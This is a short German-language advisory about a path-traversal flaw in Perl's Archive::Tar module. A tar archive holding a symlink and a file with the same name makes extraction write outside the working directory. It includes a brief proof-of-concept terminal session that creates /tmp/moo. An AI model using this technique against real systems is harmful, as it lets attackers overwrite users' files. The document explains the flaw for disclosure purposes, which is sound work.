Eine Sicherheitslücke in Perl hat zur Folge, dass ein entfernter Angreifer
Dateien des Systems überschreiben kann.
Die Schwachstelle befindet sich in dem Archive::Tar Modul und tritt beim Verarbeiten von Tar-Dateien auf. Ein Angreifer kann dieses Problem mit Hilfe einer geschickt konstruierten Tar-Datei ausnutzen. Diese muss eine Datei und einen symbolischen Link (symlink) mit identischen Namen enthalten. Beim Entpacken erzeugt der Archive::Tar Programmcode dann eine Datei ausserhalb des aktuellen Arbeitsverzeichnisses.
Der Angreifer kann damit dann beliebige Dateien des Systems mit den Rechten des
Anwenders überschreiben. Ein Proof-of-Concept Exploit sieht wie folgt aus:
$ tar -tvvf traversal.tar.gz
lrwxrwxrwx root/root 0 2018-06-05 18:55 moo -> /tmp/moo
-rw-r–r– root/root 4 2018-06-05 18:55 moo
$ pwd
/home/jwilk
$ ls /tmp/moo
ls: cannot access ‘/tmp/moo’: No such file or directory
$ perl -MArchive::Tar -e ‘Archive::Tar->extract_archive(“traversal.tar.gz”)’
$ ls /tmp/moo
/tmp/moo
Nachdem Ausführen des Perl-Befehls hat der Angreifer durch die Schwachstelle die /tmp/moo-Datei angelegt.
